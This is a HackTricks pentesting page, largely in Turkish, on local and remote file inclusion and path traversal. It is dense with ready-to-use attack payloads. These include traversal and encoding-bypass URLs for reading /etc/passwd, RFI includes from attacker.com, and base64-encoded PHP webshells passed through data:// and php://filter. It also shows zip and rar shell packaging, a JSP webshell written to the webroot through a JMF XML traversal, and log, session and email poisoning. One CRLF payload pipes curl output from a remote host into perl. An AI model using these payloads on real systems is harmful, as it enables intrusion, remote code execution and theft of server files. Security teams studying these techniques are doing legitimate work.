File Inclusion/Path traversal

Reading time: 26 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

File Inclusion

Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosya yükler.

Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.

Zafiyete açık PHP fonksiyonları: require, require_once, include, include_once

Bu zafiyeti sömürmek için ilginç bir araç: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE dosyaları

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Çeşitli *nix LFI listelerini karıştırıp daha fazla path ekleyerek bunu oluşturdum:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ deneyin
Ayrıca ../../../../../ eklemeyi deneyin

Zafiyetin varlığını kontrol etmek için /etc/password dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste here bulunabilir

Windows

Farklı wordlists'lerin birleşimi:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ deneyin
Ayrıca C:/ silmeyi ve ../../../../../ eklemeyi deneyin

Zafiyetin varlığını kontrol etmek için /boot.ini dosyasını bulmak amacıyla çeşitli teknikler kullanan bir liste here bulunabilir

OS X

linux için LFI listesine bakın.

Basic LFI and bypasses

Tüm örnekler Local File Inclusion içindir, ancak Remote File Inclusion için de uygulanabilir (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences özyinelemeli olmayan şekilde kaldırıldı

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Sağlanan string'in sonuna fazladan karakter eklenmesini engelleyen Bypass (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Bu, PHP 5.4'ten itibaren çözüldü

Kodlama

Standart olmayan kodlamalar kullanabilirsiniz, örneğin double URL encode (ve diğerleri):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Mevcut klasörden

Belki back-end klasör yolunu kontrol ediyordur:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme

Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının test edilmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır:

  1. Determine Directory Depth: Bulunduğunuz dizinin derinliğini, /etc/passwd dosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL şu şekilde yapılandırılabilir ve üç katman derinliği olduğunu gösterir:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Klasörleri Sorgula: Şüpheli klasör adını (ör. private) URL'ye ekleyin, ardından /etc/passwd'e geri dönün. Ek dizin seviyesi derinliğinin bir artırılmasını gerektirir:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Sonuçları Yorumlama: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
  • Hata / Çıktı Yok: Belirtilen konumda private klasörü muhtemelen yoktur.
  • İçeriği /etc/passwd: private klasörünün varlığı doğrulanır.
  1. Yinelemeli Keşif: Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir.

Farklı konumlardaki dizinleri keşfetmek için payload'u uygun şekilde ayarlayın. Örneğin, geçerli dizinin derinliğinin 3 olduğunu varsayarak /var/www/ içinde bir private dizini olup olmadığını kontrol etmek için kullanın:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlatıp kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.

In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ are all treated as the same path.
  • Son 6 karakter passwd ise, sonuna / eklemek (yani passwd/) hedeflenen dosyayı değiştirmez.
  • Benzer şekilde, bir dosya yolunun sonuna .php eklenmişse (ör. shellcode.php), sonuna /. eklemek erişilen dosyayı değiştirmez.

Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd'a erişmek için path truncation kullanımını göstermektedir:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişiklik gösterebilir.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizgileri etkisiz hale getirerek yok sayılmasını sağlar.
  • Determining the Required Number of Traversals: Deneme yanılma yoluyla, kök dizine ve sonra /etc/passwd'e ulaşmak için gereken ../ dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizgiler (ör. .php) etkisizleştirilirken hedef yol (/etc/passwd) korunur.
  • Starting with a Fake Directory: Yolun başına var olmayan bir dizin (ör. a/) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.

Path truncation tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php'de bu varsayılan olarak devre dışıdır çünkü allow_url_include Off. olarak ayarlanmıştır. Çalışması için On olması gerekir; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Eğer bir nedenle allow_url_include On ise, ancak PHP harici web sayfalarına erişimi filtering yapıyorsa, bu gönderiye göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

Önceki kodda, sonundaki +.txt eklendi çünkü attacker .txt ile biten bir string'e ihtiyaç duyuyordu; bu yüzden string onunla biter ve b64 decode sonrası o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak).

Başka bir örnek php:// protokolünü kullanmayan şöyle olur:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Kök öğesi

python'da aşağıdaki gibi bir kodda:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Kullanıcı file_name için bir mutlak yol verirse, önceki yol sadece kaldırılır:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Bu, the docs'e göre amaçlanan davranıştır:

Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.

Java Dizin Listeleme

Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine bir dizin talep ederseniz, dizinin listesi döndürülür. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).

İlk 25 parametre

İşte local file inclusion (LFI) açıklarına karşı savunmasız olabilecek ilk 25 parametrenin listesi (kaynak: link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI — PHP wrappers & protocols kullanımı

php://filter

PHP filtreleri, verinin okunmasından veya yazılmasından önce temel veri üzerinde değişiklik işlemleri yapmaya izin verir. Filtrelerin 5 kategorisi vardır:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verideki etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
  • Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesi için konsolda şu komutu çalıştırın: iconv -l

warning

convert.iconv.* conversion filter'ünü suistimal ederek istediğiniz metni üretebilirsiniz, bu da örneğin istediğiniz metni yazmak veya include gibi bir fonksiyonun bu metni işleyebilmesini sağlamak için faydalı olabilir. Daha fazla bilgi için LFI2RCE via php filters dosyasına bakın.

  • Compression Filters
  • zlib.deflate: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yapıyorsanız faydalı)
  • zlib.inflate: Veriyi dekomprese eder
  • Encryption Filters
  • mcrypt.* : Kullanımdan kaldırıldı
  • mdecrypt.* : Kullanımdan kaldırıldı
  • Diğer filtreler
  • PHP'de var_dump(stream_get_filters()); çalıştırdığınızda birkaç beklenmeyen filtre bulabilirsiniz:
  • consumed
  • dechunk: HTTP chunked encoding'i tersine çevirir
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

"php://filter" kısmı büyük/küçük harf duyarsızdır

Using php filters as oracle to read arbitrary files

In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.

In the original post you can find a detailed explanation of the technique, but here is a quick summary:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ayrıca php://stdin, php://stdout and php://stderr'i sırasıyla file descriptors 0, 1 and 2'ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim)

zip:// ve rar://

İçerisine PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.
rar protocol'ü kötüye kullanabilmek için özel olarak etkinleştirilmesi gerekir.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include tarafından kısıtlandığını unutmayın

expect://

Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parametrelerinde payload'unuzu belirtin:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Bir .phar dosyası, bir web uygulaması include gibi dosya yükleme için fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir .phar dosyasının oluşturulmasını göstermektedir:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:

bash
php --define phar.readonly=0 create_path.php

Çalıştırıldığında test.phar adlı bir dosya oluşturulacak; bu dosya Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.

Eğer LFI yalnızca içindeki PHP kodunu çalıştırmayıp dosya okuma gerçekleştiriyorsa — ör. file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), veya filesize() gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, phar protokolü kullanılarak dosya okunmasıyla ilişkilidir.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

PHP'de php filter'larını destekleyen herhangi bir rastgele dosya okuma RCE elde etmek için kötüye kullanılabiliyordu. Ayrıntılı açıklama found in this post.
Çok kısa özet: PHP heap'inde bir 3 byte overflow kullanılarak belirli bir boyuttaki serbest chunk zinciri değiştirildi ve böylece herhangi bir adrese istediğini yazmak mümkün oldu; bu yüzden system çağırmak için bir hook eklendi.
Daha fazla php filter kullanarak belirli boyutlarda chunk'lar alloc etmek mümkündü.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack'ta bunun nasıl işe yarayacağına emin değilim)
  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • zlib:// — Compression Streams
  • glob:// — Desene uyan yol adlarını bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Rastgele dosyaları okumak için kullanışlı değil)

LFI via PHP's 'assert'

PHP'de 'assert' fonksiyonuyla uğraşıldığında Local File Inclusion (LFI) riski özellikle yüksektir; 'assert' string içindeki kodu çalıştırabilir. Bu, '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse özellikle sorunludur.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Bunun traversal'ı engellemeyi amaçlamasına rağmen, kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan yararlanmak isteyen bir attacker şunu kullanabilir:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Benzer şekilde, herhangi bir sistem komutunu yürütmek için şu kullanılabilir:

plaintext
' and die(system("id")) or '

It's important to URL-encode these payloads.

PHP Blind Path Traversal

warning

Bu teknik, bir PHP functionın dosya yolu üzerinde kontrol sahibi olduğunuz ve bu fonksiyonun bir dosyaya erişeceği ancak dosya içeriğini görmeyeceğiniz durumlarda (ör. basit bir file() çağrısı) önemlidir — içerik gösterilmez.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Özetle, teknik "UCS-4LE" encoding kullanarak bir dosyanın içeriğini o kadar büyük hale getiriyor ki dosyayı açan PHP function bir error tetikliyor.

Daha sonra, ilk karakteri leak etmek için dechunk filtresi base64 veya rot13 gibi diğerleriyle birlikte kullanılıyor ve son olarak convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE filtreleri diğer karakterleri başa yerleştirip onları leak etmek için kullanılıyor.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Teknik detaylar için bahsedilen post'a bakın!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Dosya alan/yükleyen server-side kodu, hedef yolu kullanıcı kontrollü veri (örn. filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, .. segmentleri ve absolute path'ler amaçlanan dizinden kaçıp arbitrary file write'e yol açabilir. Eğer payload'ı web-exposed bir dizine yerleştirebiliyorsanız, genellikle unauthenticated RCE elde edersiniz — webshell bırakarak.

Tipik exploitation workflow:

  • Path/filename kabul eden ve içeriği diske yazan bir endpoint veya background worker'da bir write primitive tespit edin (örn. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
  • Web-exposed dizinleri belirleyin. Yaygın örnekler:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Amaçlanan storage dizininden webroot'a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
  • Bıraktığınız payload'a gidin ve komutları çalıştırın.

Notlar:

  • Yazmayı gerçekleştiren vulnerable service non-HTTP portunda dinliyor olabilir (örn. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve eder.
  • Java stack'lerinde, bu dosya yazımları genellikle basit File/Paths concatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Sertleştirme ile bu sınıftaki hatalar engellenir:

  • Kanonik bir yola çevirin ve bunun izin verilen (allow-listed) temel dizinin bir alt dizini olduğunu zorunlu kılın.
  • .., absolute roots veya drive letters içeren herhangi bir yolu reddedin; tercihen üretilmiş dosya adlarını kullanın.
  • Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.

Remote File Inclusion

Daha önce açıklandı, follow this link.

Apache/Nginx günlük dosyası üzerinden

Eğer Apache veya Nginx sunucusu include fonksiyonu içinde vulnerable to LFI ise, /var/log/apache2/access.log or /var/log/nginx/access.log dosyalarına erişmeyi deneyebilir, user agent içine veya bir GET parameter içine bir php shell olarak <?php system($_GET['c']); ?> yerleştirip o dosyayı include edebilirsiniz

warning

Unutmayın ki shell için tek tırnak yerine çift tırnak kullanırsanız, çift tırnaklar "quote;" stringine dönüştürülür, PHP orada bir hata fırlatır ve hiçbir şey çalıştırılmaz.

Ayrıca, payload'u doğru yazdığınızdan emin olun; aksi halde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.

Bu diğer loglarda da yapılabilir ancak dikkatli olun, logların içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header authorisation "basic" Base64 içinde "user:password" içerir ve logların içinde decode edilir. PHPShell bu header içine yerleştirilebilir.
Diğer olası log yolları:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Bir e-posta gönderin internal bir hesaba (user@localhost) içinde PHP payload'unuz gibi <?php echo system($_REQUEST["cmd"]); ?> bulunacak şekilde ve kullanıcının mailini şu yolları include etmeyi deneyin: /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Çok sayıda shells yükleyin (örneğin: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD file descriptor (o da brute force ile bulunabilir)

Via /proc/self/environ

Bir log dosyası gibi, payload'u User-Agent içine gönderin; bu /proc/self/environ dosyasında yansıyacaktır.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Üzerinden upload

Eğer bir dosya upload edebiliyorsanız, içine sadece shell payload enjekte edin (ör. : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin meta verisine enjekte etmek en iyisidir

Zip dosyası yükleyerek

PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions ile

Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP'de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Cookie'yi <?php system('cat /etc/passwd');?> olarak ayarla

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

PHP session file'ını include etmek için LFI'yi kullan.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh ile

Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi deneyin

Üzerinden vsftpd günlükleri

FTP sunucusu vsftpd'nin logları /var/log/vsftpd.log konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:

  1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin.
  2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını /var/log/vsftpd.log dosyasından alın.

php base64 filtresi ile (base64 kullanarak)

As shown in this article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, filtre "." karakterini görmezden gelir ve base64'e "php" ekler. İşte bir örnek payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters ile (dosya gerekmez)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

LFI2RCE via PHP Filters

Segmentation fault ile

Yükleyin /tmp içinde geçici olarak saklanacak bir dosyayı, sonra aynı istekte bir segmentation fault tetikleyin; böylece geçici dosya silinmeyecek ve onu arayabilirsiniz.

LFI2RCE via Segmentation Fault

Nginx temp file storage ile

Eğer bir Local File Inclusion bulduysanız ve Nginx PHP önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS ile

Eğer bir Local File Inclusion bulduysanız, session'ınız olmasa ve session.auto_start Off olsa bile. Eğer multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS sağlarsanız, PHP otomatik olarak session'i etkinleştirir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows'ta temp file uploads ile

Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:

LFI2RCE Via temp file uploads

pearcmd.php + URL args ile

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Aşağıdaki bir CRLF vuln'ü istismar ederek RCE elde ediyor (kaynak here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() ile (file_uploads = on)

Eğer bir Local File Inclusion bulduysanız ve phpinfo()'u açığa çıkaran ve file_uploads = on olan bir dosya varsa RCE elde edebilirsiniz:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure ile

